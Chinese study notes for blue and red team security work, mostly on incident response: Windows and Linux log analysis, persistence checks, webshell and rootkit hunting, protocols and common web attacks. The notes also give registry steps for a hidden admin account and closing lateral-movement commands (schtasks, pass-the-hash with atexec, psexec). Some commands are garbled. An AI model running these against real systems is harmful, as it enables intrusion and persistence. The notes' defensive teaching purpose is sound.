HW蓝队/红军——安全检测和应急
Windows事件分析基础
Windows日志
事件日志分析
- 对于Windows事件日志分析,不同的EVENTID代表了不同的意义,每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式。
- 运行eventvwr.msc命令,打开windows日志,将所有事件另存为
.evtx
格式的文件,然后通过命令进行筛选查找日志
案例——利用eventlog事件来查看系统账号登录情况
- 在“开始”菜单上,依次指向“所有程序”、“管理工具”,然后单击“事件查看器”
- 在事件查看器中,单击“安全”,查看安全日志;
- 在安全日志右侧操作中,点击“筛选当前日志”,输入事件ID进行筛选(ID:4625–登录失败)。
- 可用Log Paeser分析
系统账号分析
影子账户
- 告警发生场景:黑客在入侵系统后常常会建立一个影子账户。之所以称其为“影子账户”,是因为这种账户用系统中提供的工具或方法都无法看到,并且无论是“用户账户”、“计算机管理”,还是命令行中,都无法删除此账户
- 攻击方式:攻击者获得管理员权限后,通过注册表或REG命令添加影子账户
- 复现过程:通过命令行新建一个用户(注意:新建的用户名建议以$结尾)
影子账户添加
- 找到对应注册表的值:
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\cmd$
- 导出
reg export HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\cmd$cmd.reg
- 默认情况下,管理员账户Administrator对应的注册表键值为
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
- 然后再导出默认administrator为admin.reg
reg export HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 administrator.reg
- 将注册表项
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EC
下键F的值替换为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
下键F的值,即clo.reg
中键F的值替换admin.reg中键F的值
影子账户检测
可以通过人工查看原始的系统日志和进入注册表编辑器进行分析,或者通过日志审计工具解析原始日志,分析出有短时间内添加账号删除账号的行为,并通过对注册表修改情况,以及跟踪未知账号后续产生的风险行为,来进行告警。
网络通信与异常端口分析
- 告警发生场景:黑客在入侵系统后常常会建立一个影子账户。之所以称其为“影子账户”,是因为这种账户用系统中提供的工具或方法都无法看到。
- 攻击方式:攻击者获得管理员权限后,通过注册表或REG命令添加影子账户
- 复现过程:通过命令行新建一个用户(注意:新建的用户名建议以$结尾)
网络通信与异常端口
- 一般地可以把入侵检测技术划分为两类:误用检测和异常检测。由于误用检测需要将接收到的数据包和已知攻击的特征进行比对,因此对未知的攻击行为无法做出判断。(相当于根据特征做正则匹配,容易绕过)
- 一种网络流量异常检测系统,其特征在于,该检测系统至少包括:存储器、数据包处理单元和数据挖掘单元
- 存储器,用于储存协议会话状态机和会话状态跟踪表;所述协议会话状态机为传输控制协议TCP会话状态机、用户数据报协议UDP会话状态机或者互联网控制消息协议ICMP会话状态机;
- 数据包处理单元,与所述存储器连接,用于接收数据包,判断数据包类 型并利用存储器中存储的协议会话状态机对所述数据包所属的会话或伪会话 行为的正常程度进行度量;所述对数据包所属的会话或伪会话行为的正常程度进行度量包括:对所述会话状态跟踪表中的错误计数值进行统计,将统计后的错误计数值作为会话或者伪会话行为的正常程度的度量;
- 数据挖掘单元,与所述数据包处理单元连接,根据度量结果并利用数据 挖掘来判断所述数据包所属的会话或伪会话是否为异常
系统进程分析
- Windows cmd查看
tasklist /svc
- ProcessMonitor
DLL劫持
dll文件的搜索顺序为:同目录下C:\Windows\System32
→C:Windows\SysWow64
->C:\Windows
->PATH路径清单
调用DLL的函数可以替换为恶意代码
启动项、定时任务、服务分析
启动项
- 查看开机启动有无异常文件 msconfig
- win10 win11 开机启动文件夹
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
- win7 开机启动文件夹
C:\Users\rpkr\AppData\Roaming\MicrosoftWindows\Start Menu\Programs\Startup
,开始→所有程序→启动,03查找同此方法
定时任务
- 查看Windows 计划任务 taskschd.msc
- 可以通过右键属性查看其位置来看看是否为正常的任务
服务分析
- 在比较旧的系统,我们可以通过sc来对服务进行查询,比如查询msdtc服务
Windows注册表分析
- 注册表是用于存储Windows系统用户,硬件和软件的存储配置信息的数据库虽然注册表是为了配置系统而设计的,但它可以跟踪用户的活动,连接到系统的设备,什么时间什么软件被使用过等都将被记录在案。所有这些都可用于取证人员,分析溯源用户的恶意或非恶意行为
- 注册表由键、子键和值项构成,一个键就是分支中的一个文件夹,而子键就是这个文件夹中的子文件夹,子键同样是一个键。一个值项则是一个键的当前定义,由名称、数据类型以及分配的值组成。一个键可以有一个或多个值,每个值的名称各不相同,如果一个值的名称为空,则该值为该键的默认值。通常,值是0或1,意味着开或关,也可以包含通常以十六进制显示的更复杂的信息
Linux事件分析基础
Linux日志
- Linux日志默认存放位置:
/var/log
- 查看日志配置情况:
more /etc/rsyslog.conf
常用日志
功能 | 路径 | 对应Linux命令 |
---|---|---|
登录失败记录 | /var/log/btmp |
lastb |
最后一次登录 | /var/log/lastlog |
lastlog |
登录成功记录 | /var/log/wtmp |
last |
登录日志记录 | /var/log/secure |
|
登录用户信息 | /var/run/utmp |
w、who、users |
历史命令记录 | /history |
仅清理当前用户:history -c |
日志文件 | 说明 |
---|---|
/var/log/cron | 记录了系统定时任务相关的日志 |
/var/log/cups | 记录打印信息的日志 |
/var/log/dmesg | 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息 |
/var/log/mailog | 记录邮件信息 |
/var/log/message | 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件 |
/var/log/btmp | 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看 |
/var/log/lastlog | 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看 |
/var/log/wtmp | 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看 |
/var/log/utmp | 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询 |
/var/log/secure | 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中 |
日志分析技巧
/var/log/secure
- 定位有多少IP正在爆破主机的root账号:
grep "Failed password for root" /var/log/secureawk '{print $11}'sort |uniq -c |sort -nr| more
- 定位有哪些IP在爆破:
grep "Failed password" /var/log/securelgrep -E-o“(25[0-5]|2[0-4][0-9][01]?[0-9][0-9]?)\.(25[0-5]12[0-4][0-9][01]?[0-9][0-9]?)\.(25[0-5]2[0-4][0-9][01]?[0-9][0-9]?)\.(25[0-5]12[0-4][0-9][01]?[0-9][0-9]?)"uniq -c
- 定位有多少IP正在爆破主机的root账号:
/var/log/yum.log
- 软件安装升级卸载日志
more /var/log/yum.log
系统账号分析
- Linux的系统中在
/etc/passwd
文件,存储了系统中所有用户(包括系统及自建用户)的基本信息,里面的所有用户对该文件都有读的权限 - 在文件中,一行代表一个用户信息,其中每一列用冒号进行字段划分
- 用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认命令解释器
影子文件
- 用于存储用户密码的文件,位于
/etc/shadow
- shadow文件也是每一行保存一个用户信息,利用冒号作为一列的信息划分
- 用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的告警天数:密码过期后的宽限时间:账号失效时间:保留字段
authorized_keys文件
一般我们可以使用ssh-keygen命令生成公钥与私钥,运行之后将在自己的主目录下的.ssh目录生成公私钥文件,我们将id rsa.pub中的字符串复制到需要登录的主机上的对应的authorized keys即可以实现免密登录(前提是ssh配置文件开启了PubkeyAuthentication,密码认证需要开启PasswordAuthentication)
分析常见思路
通常,我们拿下一台机器之后想做一些权限维持,或者利用一些可读写文件的漏洞想要进一步获取服务器权限时,可以通过添加账户或者修改对应账户的authorized keys来进行实现,通常情况下,攻击者所维持权限的账户基本为高权限账户
排查思路
- 查看
/etc/passwd
文件的修改时间,是否存在不在预期内的账号 - 查看存在可登录列表的账户的目录下的.ssh中的authorized keys或者
/etc/shadow
是否有改动痕迹,值是否处于预期内 - 查看账户的当前或者历史登录记录,是否存在可疑ip等
系统账号事件分析
- 查询UID为0的特权账户:
awk -F:'$3==0{print$1}'/etc/passwd
(应当只返回root) - 查询可远程登录的账户:
awk'\$11\$6/{print $1}'/etc/shadow
- 查询具有sudo权限的账户:
more /etc/sudoers grep -v "^#\|^$" | grep "ALL=(ALL)"
. - 查看敏感文件的修改时间:
stat 文件名
,不要用ls -al
,因为Access和modify都是可以被修改的,Change时间一般跟随系统 - 使用w命令可查看当前用户的登录信息,来源ip
- 使用last命令查看历史登录的用户,来源IP等,查看成功的IP中是否有不在预期的IP地址。使用lastb命令查看历史登录失败的用户名及来源IP,观察存在较多失败记录的一些IP可判断是否遭受了暴力破解
- 当我们发现存在被他人恶意创建或者修改的账户时,在不影响业务情况下我们可以首先将该机器进行下线,然后对整个机器做入侵分析的排查。对于账户而言我们可以对其进行修改密码(passwd 用户名),禁用账号(usermod-L用户名),删除账号(userdel用户名。-r参数可连带删除home下该用户目录)
网络通信与异常端口分析
分析网络通信
- 如上,当我们使用命令参数进行查看时,此时可以分析当前建立连接进程及端口都有哪些。
- 我们可以根据上述连接进程来分析该进程对应的地址及程序是否合法
- 我们可以使用一些威胁情报查询工具查询该IP是否存在异常
- 若异常我们可以进行分析,可以看到,本地机器的 10.0.0.17与101.89.29.54建立了网络连接并处于连接状态
- 此时我们可以使用
ls -al(file)/proc/$PID/exe
来进行查看对应PID执行进程的文件
查看路由表
- 使用arp -a命令查看路由表
- 通常我们仅有在局域网中常用连接的地址才会在路由表中而当表中出现大量有顺序的一些记录时,可怀疑该机器是否被利用来进行过内网扫描
系统进程分析
系统进程
在排查的过程中,我们通过系统中所有正在运行的进程,通过输出的结果来判断系统运行的服务,从而判断是否有非法服务。使用ps命令
隐藏进程
目前部分攻击者可能会使用LD PRELOAD来劫持系统函数从而达到隐藏进程的目的
启动项、定时任务、服务分析
启动项
- 当我们进行开机重启等操作时,一些系统进程肯定是会更随着进行自启动才能满足机器正常使用
/etc/rc.d/rc.local
配置文件,当我们每次开机时,系统就会去执行该配置文件中的命令,从而使得我们预期想使用的程序在开始就进行自启动,而攻击者如果想做权限维持时,就可以像该文件中输入恶意命令,从而对我们的机器进行持久化控制- 老版本Linux:
chkconfig --list
- 新版本Linux:
systemctl list-unit-files--type=service lgrep "enabled"
定时任务
at命令
计划任务
crontab
文件分析
排查文件
- 近期内有更新过的文件
- 查找24h内有过更新的jsp文件:
find ./-mtime 0 -name “*.jsp'
- 查找72h内有过更新的jsp文件:
find ./-ctime 2 -name “*.jsp'
- 查找24h内有过更新的jsp文件:
- 一些相较敏感的文件:查看相应用户.bash history文件,若攻击者未进行清理记录或者未进行unset历史记录,可以通过文件判断攻击者执行了什么命令操作。查看常见的tmp的各个目录下是否存在一些新增的可疑文件
- 系统文件:比如
/usr/bin
,/usr/local/bin
等一些常见的系统文件是否被攻击者替换成了后门文件如我们常听说的ls后门,ssh后门 - 其他文件:应用日志等
webshell分析
- 尽可能的多关注近期存在改动的文件,如果有备份的话可以使用对比的方式查看变动或者新增的文件名,如果选择了webshell进行落地很快就可以比对
- 若我们排查的服务器上存在web的情况下,我们一般都会先对相应的web目录进行webshell查杀
- [河马](https://www.shellpub.com/doc/hm linux usage.html)、牧云
内存马
- 对于JSP的一些应用,现在的攻击者经常会用内存马的方式来进行权限维持且隐蔽性较高,在没有什么可疑行为的时候基本不会被发现。当然flask等也有内存马,这里不做具体讨论。
- 当我们怀疑该服务器遭受攻击需要排查时,java的内存马一般分三类:servlet-api,spring类,javainstrumentation类
- Filter/Servlet型:https://github.com/cOny1/java-memshell-scanner
- 主要通过遍历系统中servlet/filter的名称来找到相应的类,判断该类是否在服务器上能否找到对应的路径,如果找不到大概率存在异常
系统命令排查
rpm -Va
使用该命令可以进行判断是否有系统命令被替换其主要是通过判断和rpm上相应的系统的文件或者命令存在不一致的地方(ubuntu为dpkg -V
)
查看输出
SM5....T.c/etc/rc.d/rc.local
,正常的前缀可能会输出….…...T
,或者就不进行输出,那么其出现了就说明了该文件在我们使用的过程中已经发生了改变
其他分析项
工具分析
- Rookit检测(主要检测通过修改操作系统内核或更改指令执行路径,来达到隐藏目的恶意程序)
- rkhunter是一款开源入侵检测工具,具有非常全面的扫描范围,除了能够检测各种已知的 rootkit 特征码以外,还支持端口扫描、常用程序文件的变动情况检查。
- chkrootkit检查过程中使用了部分系统命令,如果服务器被攻击,那么依赖的系统命令可能被替换。可事先将chkrootkit使用的系统命令进行备份。
Web日志
服务器日志
- 记录服务器接收客户端的请求,并记录服务器对这条请求的处理结果
- 服务器日志由服务器自动生成,一般以日期进行命名,通常以“.log”结尾
- 默认情况下IIS日志目录为
%SystemDrive%\inetpub\logs\LogFiles
其中%SystemDrive%
表示系统安装位置。 - Apache日志
- Windows:
<Apache安装目录>\logs\access.log | error.log
- Linux:
/usr/local/apache/logs/access_logerror_log
- 访问日志access_log记录了所有对Web服务器的访问活动,下面是访问日志access_log中的一个标准记录。
- Windows:
- nginx日志
- Nginx日志主要分为两种:access_log(访问日志)和error_log(错误日志)。通过访问日志我们可以得到用户的IP地址、浏览器的信息,请求的处理时间等信息。错误日志记录了访问出错的信息,可以帮助我们定位错误的原因。
- Windows:
<Nginx安装目录>\logs\access.log | lerror.log
- Linux:
/usr/local/nginx/logs/access_log | error_log
- nginx日志格式可以配置多种,使用时,只需要调用相应格式名字即可
数据库日志
常见的数据库攻击包括弱口令、SQL注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源。
MSSQL
SQL注入入侵痕迹查找:在利用SQL注入漏洞的过程中,我们会尝试利用sqlmap的--os-shell
参数取得shell,如操作不慎,可能留下一些sqlmap创建的临时表和自定义函数。
检查方法
- 数据库表检查
- 检查
xp_cmdshell
等存储过程 - 结合web日志进行分析
流量分析
数据包
数据包是网络上信息传输的基本单位,因为发件人发出的每条信息都被分解成小的片段,以便能够在网络链接上轻松快速地传输。
- 数据报(Datagram):多用于网络层以上,面向无连接的数据传输,工作过程类似于报文交换。采用数据报方式传输时,被传输的分组称为数据报。
- 数据包(Packet):数据包是TCP/IP协议通信传输中的数据单位,处于网络层,在局域网中,“包”是包含在“帧”里的。
- 数据帧(Frame):数据帧是数据链路层的协议数据单元,包括帧头,数据部分和帧尾。其中,帧头和帧尾包含一些必要的控制信息,比如同步信息、地址信息、差错控制信息等;数据部分则包含网络层传下来的数据,比如ip数据包。
HTTP
请求头
- Accept:浏览器可以接收的文件类型
- Accept-Encóding:申明浏览器接收的编码方式
- Accept-Language:浏览器申明自己接收的语言
- Connection Connection:keep-alive、Connection:close
- Host(发送请求时,该报头域是必需的)Host:www.baidu.com 请求报头域主要用于指定被请求资源的Internet主机和端口号,通常从HTTP URL中提取出来的
- Referer:告诉服务器是从哪个页面链接过来的
- User-Agent:告诉服务器,客户端的操作系统和浏览器名称&版本
响应报文
- 状态行
- 响应头
- 空行
- 响应体
状态行
格式:HTTP版本 响应状态码 响应描述
状态码
- xx:指示信息一表示请求已接收,继续处理。
- xx:成功一表示请求已经被成功接收、理解、接受。
- xx:重定向一要完成请求必须进行更进一步的操作。
- xx:客户端错误一请求有语法错误或请求无法实现
- xx:服务器端错误一服务器未能实现合法的请求。
DNS
- DNS,域名系统,将域名和IP地址做相互映射的一个分布式数据库。DNS可以使用TCP和UDP进行传输,DNS服务器公认端口是53.
- DNS报文封装在UDP数据报或TCP数据段中,然后封装在IP数据包中,最后封装成为数据链路层中的数据帧,通过物理层传输。
- DNS协议可分为:基础部分、问题部分和资源记录部分
基础部分
- 事务 ID:DNS 报文的 ID 标识。对于请求报文和其对应的应答报文,该字段的值是相同的。
- 问题计数:DNS 查询请求的数目。
- 回答资源记录数:DNS 响应的数目。
- 权威名称服务器计数:权威名称服务器的数目。
- 附加资源记录数:额外的记录数目(权威名称服务器对应 IP 地址的数目)
- 标志:QR|Opcode|AA|TC|RD|RA|Z|rcode
问题部分
- 查询名:一般为要查询的域名,有时也会是IP地址,用于反向查询。
- 查询类型:DNS查询请求的资源类型。通常为A类型,表示由域名获取对应的IP地址。
- 查询类:地址类型,通常为互联网地址,值为1
资源记录部分
- 域名:DNS请求的域名。
- 类型:资源记录的类型,与查询类型值一样
- 类:地址类型,与查询类值一样
- 生存时间:以秒为单位,表示资源记录的生命周期
- 资源数据常熟:资源数据的长度
- 资源数据:表示按查询段要求返回的相关资源记录的数据
FTP
- 概念:提供将文件完整的从一个系统复制到另一个系统。FTP采用两个TCP连接来传输一个文件。同时FTP是一个应用程序。用户可以通过它把自己的PC机和世界各地运行FTP协议的服务器相连,访问服务器上的大量程序和信息。
- FTP主要作用:让用户连接上一个远程计算机(这些计算机上运行着FTP服务器程序)查看远程计算机有哪些问天,然后把这些文件从远程计算机上拷到本地计算机,或把本地计算机的文件送到远程计算机去
- 端口:FTP主要端口有2个,控制端口21,数据端口20。21传输控制命令,20传输数据主要使用的传输格式为二进制和文件传输格式,默认二进制传输格式。
FTP传输模式
- 主动模式:数据连接时,服务器主动连接客户端
- 被动模式:数据连接时,客户端主动连接服务器
- 主动模式下,客户端被连接端口通常大于1024,容易被防火墙拦截。建议使用被动模式
FTP协议格式
FTP控制帧由一段文本组成,一般结构为:命令+空格+内容+\r\n
。
- 登录
user 账号\r\n 登录账号
pass 密码\r\n 登录密码
- 退出:
quit\r\n 退出
- 操作
STOR 文件名\r\n 上传文件
APPE 文件名\r\n 上传文件
,如果文件名已存在,把数据插入尾部
扫描
扫描行为
扫描行为一般分为主机扫描和端口扫描。
- 主机扫描主要是为探测网络上主机是否可达,也是网络扫描的基础。
- 端口扫描是在探测网络服务类型,并借此探寻攻击弱点
主机扫描
- 确定在目标网络上的主机是否可达。主机扫描时网络扫描的基础,也是第一步。扫描出存活的主机,才能以他们为目标进行后续的操作。
- 局域网下的ARP扫描和广域网下的ICMP Echo扫描、ICMP Sweep扫描ICMP Broadcast扫描、ICMP Non-Echo扫描都是基本的主机扫描技术
arp扫描
向目标主机所在的局域网发送ARP广播请求,在局域网联通的状态下目标主机必定响应正常的ARP广播请求,若收到则认为主机可达。
icmp echo
- 简单发送一个ICMP回声请求(ICMP=8)数据包给目标主机并等待是否可以接收到一个ICMP回声响应(即ICMP=0)。若收到回声响应,则认为主机可达,否则不可达。原理采用ping的实现机制,优点是简单,多种系统支持。缺点是速度慢且易被防火墙限制。
- icmp sweep:多路并行的ICMP Echo扫描
- icmp broadcast:广播(全网段)地址的扫描
- icmp non echo:非回显ICMP探测技术
端口扫描
- 端口扫描就是通过连接到目标系统的TCP或UDP端口,来确定什么服务正在运行。一个端口就是一个潜在的通信通道,也就是一个入侵通道。从对黑客攻击行为的分析和收集的漏洞来看,绝大多数都是针对某一个网络服务,也就是针对某一个特定的端口的。对目标计算机进行端口扫描,能得到许多有用的信息。
分类
- 开放扫描:回产生大量的审计数据,容易被发现,但可靠性高
- 隐蔽扫描:能有效避免IDPS、NGFW检测,但这种扫描的数据包在通过网络时容易被丢弃,错误探测
- 半开放扫描:隐蔽性和可靠性介于两者之间
TCP协议回顾
报头的六个标识位
- URG:紧急指针,用到时值为1,避免TCP流中断
- ACK:置1时表示确认号(为合法,为0的时候表示数据段不包含确认信息,确认号被忽略。
- PSH:置1时请求的数据段在接收方得到后就可直接送到应用程序,而不必等到缓冲区满时才传送。
- RST:置1时重建连接。如果接收到RST位时候,通常发生了某些错误。
- SYN:置1时用来发起一个连接。
- FIN:用来释放连接,表明发送方已经没有数据发送了
扫描行为的流量特征
- 同一时间报文数量较多
- 报文中data字段长度内容和大小在改变,且过长payload无规律
- 可能由于工具协议实现的关系,存在大量的noresponse的请求
- 请求数据包与对应的响应数据包内容不一样
- 部分工具中带有隧道关键字
常见Web攻击
SQL注入
- SQL注入是一种将SQL代码插入或添加到应用的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务加以解析并执行。由于SQL语句本身的多样性,以及可用于构造SQL语句的编码方法很多,因此凡是构造SQL语句的步骤均存在被潜在攻击的风险。
- SQL注入的主要方式是直接将代码插入参数中,这些参数会被置入SQL命令中加以执行。
- 间接的攻击方式是将恶意代码插入字符串中,之后再将这些字符串保存到数据库的数据表中或将其当作元数据。当将存储的字符串置入动态SQL命令中时,恶意代码就将被执行。
防范
- 过滤用户输入的特殊字符,比如#、”、’、=等等
- 过滤用户输入的SQL关键字,比如select、information_schema等等
- 预处理语句
- PDO技术
- 处理好错误返回语句
XSS攻击
- XSS,全称Cross Site Scripting,即跨站脚本攻击。指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行。
存储型
存储型XSS,恶意代码存储在服务器,返回后由客户端解析。
- 恶意脚本永久存储在目标服务器上
- 无需构造URL,正常URL访问也可能遭受攻击
- 影响范围更大,可以多次攻击不同用户
文件上传漏洞
webshell
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
File Uploadl
- 上传接口对于文件的类型(通常是对后缀名)检验存在疏漏导致的安全问题一般表现为在上传接口可使用某些方法绕过安全校验上传可动态解析的脚本文件,以此达到任意代码执行。
- 一般来说,可动态解析的脚本文件是通过后缀名决定的,具体后缀名与服务器web应用的配置有关。
漏洞场景
所有文件上传接口
防御
- 过滤文件名
- 校验文件内容
- 文件上传的目录设置为不可执行
- 使用随机数改写文件名和文件路径
文件包含漏洞
指当服务器开启allow url include选项时,就可以通过php的某些特性函数(include0),require()和include once0),require once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
本地文件包含(Local File Inclusion)
本地文件包含只能包含该服务器里的文件,可以泄露服务器文件内容,例如针对linux服务器,可包含/etc/passwd
泄露linux用户信息。但往往需要攻击者寻找文件上传点、临时文件等来完成getshell。
远程文件包含(Remote File Inclusion)
远程文件包含可以包含远程资源(例如:http://xxx.com/aajpg),利用较为便利,但是会受到PHP中的allow_url_include此条配置的影响。
漏洞场景
所有文件上传接口
shell管理工具
- 中国菜刀
- 中国蚁剑
- 冰蝎Behinder
渗透测试流程
- 明确目标:确定渗透的资产范围,确定规则,确定需求
- 信息收集:收集基础信息,系统信息,应用信息,版本信息服务信息,人员信息
- 漏洞探测(挖掘):探测系统漏洞,web服务器漏洞,web应用漏洞及其他端口漏洞
- 漏洞验证(利用):利用探测的漏洞进行攻击
- 提升权限:提升系统权限、web应用权限、数据库权限
- 清除痕迹:消除操作痕迹,如测试账号、测试文件
- 事后信息分析:整理信息,分析脆弱环节、技术防护情况、管理情况
- 编写渗透测试报告:说明渗透范围、攻击漏洞、渗透成果、漏洞详情及修复建议等
常见代理工具
通常,内网中的其他机器是不允许外网机器访问的,因此需要通过端口转发或将得到的外网服务器设置为代理,使得攻击机可以直接访问并操作内网中的其他机器这一过程就叫做内网转发。
frp
frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp,udp,http,https 协议。
特征
- 进程检测:frp特征非常明显。目标主机(服务器)上会显示frpc.exe进程
- 流量检测:默认配置下,frp的建立连接过程和心跳维持过程都存在较为明显的特征。添加tls加密后,frp在协商前存在0x17的协议头部特征
NPS
- nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等.),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
- 一台有公网IP的服务器(VPS)运行服务端(NPS)
- 一个或多个运行在内网的服务器或者PC运行客户端(NPC)
横向移动
- 横向移动,是攻击者侵入企业系统时,获取相关权限及重要数据的常见攻击手法。
- 简单来讲,横向移动是指攻击者成功攻击一台计算机后,由该计算机横向跨越到另一台计算机,获取相关权限,进而窃取敏感信息的活动。
- 当获取内网机器的控制权之后,内网横向用以帮助获得更多的控制权及敏感信息。
内网的优势
- 更小的防火墙阻力:内网之间的访问不需要经过ISP 防火墙、出口网关防火墙的审查,往往对敏感端口(如445)的访问更加容易,流量也更不容易被检测到。
- 同一子网的特殊特性:在内网中,同一子网之间的主机通信通过 MAC 地址进行因而更容易发动 ARP 相关的攻击(前提为主机与网关未进行 ARP 锁定等)。
- 与管理员同行:你和管理员在同一个网络环境乃至同一台机器上操作,这让你更容易监测管理员的行为。
工作组
- 工作组是局域网中的一个概念,它是最常见的资源管理模式。
- 默认情况下所有计算机都处在名为workgroup的工作组中
- 工作组资源模式适合网络中计算机不多
- 无集中管理和控制机制,无统一账户管理
域
- 域是一个有安全边界的计算机集合(安全边界,意为两个域中一个域中的用户无法访问另一个域中的资源)。域具备严格的安全管理控制机制,如果要访问域内资源,必须拥有一个合法的身份登录,同时对权限做了访问控制。
- 集中管理,可以集中管理企业中大量的、分布各地的计算机和用户
- 边界访问,能够轻松定位域内资源,集中身份验证便可访问整个网络资源
- 扩展性强,既适合小规模网络,也适合跨国公司
- 域控DC:管理所有客户端的服务器,负责域内电脑、用户联入的审核、验证工作。一个域中中至少要有DC和备份DC两个域控
- 活动目录:域环境中提供目录服务的组件。活动目录存储着网络对象(用户、组、计算机、打印机等)的信息,可以帮助用户准确查找所需要的信息。
kerberos协议
Kerberos是一种第三方认证协议,是域认证中一种主流协议。
Kerberos通过使用对称加密技术为客户端/服务器应用程序提供强身份验证。在希腊神话中Kerberos是守护地狱之门的一条三头神犬,而这三个头分别代表着协议的三个角色,如下图所示它们分别是:
- 访问服务的Client
- 提供服务的Server
- KDC,密钥分发中心,含两个服务:
- AS,身份验证服务
- TGS,票据授权服务
协议认证过程
Kerberos认证主要通过三个子协议来完成,它们分别为:
- Authentication Service Exchange,身份认证服务交换,是Client与AS之间交互,包含KRB_AS_REQ和KRB_AS_REP两个包。
- Ticket-Granting Service(TGS)Exchange,票据授权服务交换,是Client与TGS之间交互,包含KRB_TGS_REQ和KRB_TGS_REP两个包。
- Client/Server Authentication Exchange,客户端服务认证交换,是Client与Server之间交互,包含KRB_AP_REQ和KRB_AP_REP两个包。
身份认证服务交换
KDC认证客户端身份,确认客户端是一个可靠且拥有访问KDC权限的客户端,过程如下:
- 客户端向KDC明文请求
- AS接收请求,并向mysql数据库查询人名是否存在
- 如果有,返回客户端TGT&TGS;如果无,认证结束
票据授权服务交换
目的:获取能够访问目标网络服务的服务授予票据
- 客户端行为:
- 加密客户端信息给KDC
- 明文发送想要访问的服务
- TGT发送给KDC
- TGS行为:
- 查看服务是否存在
- 解密TGT获取TGS session key
- 解密客户端信息并于TGT记录信息比对
- 返回ST和TGS session key加密信息
客户端/服务认证交换
目的:客户端访问服务器
- 客户端行为:
- 将主机信息和时间戳加密作为1部分,将服务授予票据作为第2部分,发送给服务端
- 服务端行为:
- 解密票据信息
- 解密客户端信息
- 确认客户端信息
企业内网中的横向移动
攻击者视角
- 信息收集
- 入侵普通员工计算机
- 收集域内信息
- 探查机密敏感主机
- 确定横向移动目标
- 域控登录
- 查找目标主机信息
- 获取端口、漏洞
- 漏洞利用获取凭证
- 哈希传递、票据攻击
- 提取权限
- 提权
- 继续横向
- 获取目标机密码
- 执行远程命令
- 实现域内控制
- 实施勒索等
at&schtasks
at&schtasks都是windows上创建计划任务的命令,只是针对的版本不同,at是win2008及一下。
前提条件
- 能够获取明文密码
- 具备administrator权限
- 跳板主机任意权限
- 可在本地&远程执行
执行流程
- 与目标机建立IPC连接
- 拷贝执行命令脚本
- 查看当前时间建立计划任务
- 删除IPC连接
命令语句
- 工作组:
net use\\192.168.89.1\ipc$"password" /user:username
- 域内:
net use\\192.168.89.1\ipc$"password" /user:domain\username
- 查看文件列表:
dir\\192.168.89.1\C$
- 下载文件:
copy \\xx.xx.xx.xx\C$\1.bat 1.bat
- 上传文件:
copy 1.bat \\xx.xx.xx.xx\C$
- 删除IPC链接:
net use \\xx.xx.xx.xx\ipc$ /del
- 添加计划任务:
at\\192.168.89.1 15:47 c:\add.bat
- 删除计划任务,1为计划任务的ID值:
at 1 /delete
- 创建 adduser 任务对应执行文件:
schtasks /create /s 192.168.89.1 /ru "SYSTEM" /tn adduser /sc DAlLY /trc:\add.bat /F
- 运行 adduser 任务:
schtasks /run /s 192.168.89.1 /tn adduser /i
- 删除 adduser 任务:
schtasks /delete/s 192.168.89.1 /tn adduser /f
atexec明文与Hash传递
impacket是一个打包好的工具包,里面包含了对于各种协议和系统命令的利用工具。
对于at&schtasks可以采用impacket重的atexec.exe替代。
命令语句
- 本地明文传递:
atexec.exe ./administrator:[email protected]"whoami”
- 域内明文传递:
atexec.exe domain/administrator:[email protected] "whoami" #
- hash传递攻击:
atexec.exe hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected]“whoami"
SMB服务利用-psexec工具传递
SMB服务可以通过明文或hash传递进行攻击,需要对方服务器445端口开放。psexec工具有微软官方自带(不用考虑免杀),也有第三方制作(需要考虑免杀)
前提条件
- 能够获取明文密码或密码hash
- 只能在本地反弹shell
- 具备administrator权限
- 跳板主机任意权限
命令语句
- 第一种:先建立ipc$连接,在执行命令
net use \\192.168.89.1\ipc$ "admin!@#45"/user:administrator
- 需要先有ipc 链接-s以 System 权限运行,-accepteula 第一次运行不弹框:
psexec.exe -accepteula\\192.168.89.1 -s cmd.exe
- 单条命令执行:
PsExec.exe -accepteula\\192.168.89.1 -s cmd.exe /c "whoami"
- 第二种:直接提供明文密码进行命令执行
psexec.exe\\192.168.89.1 -u administrator -p Admin12345 -scmd.exe
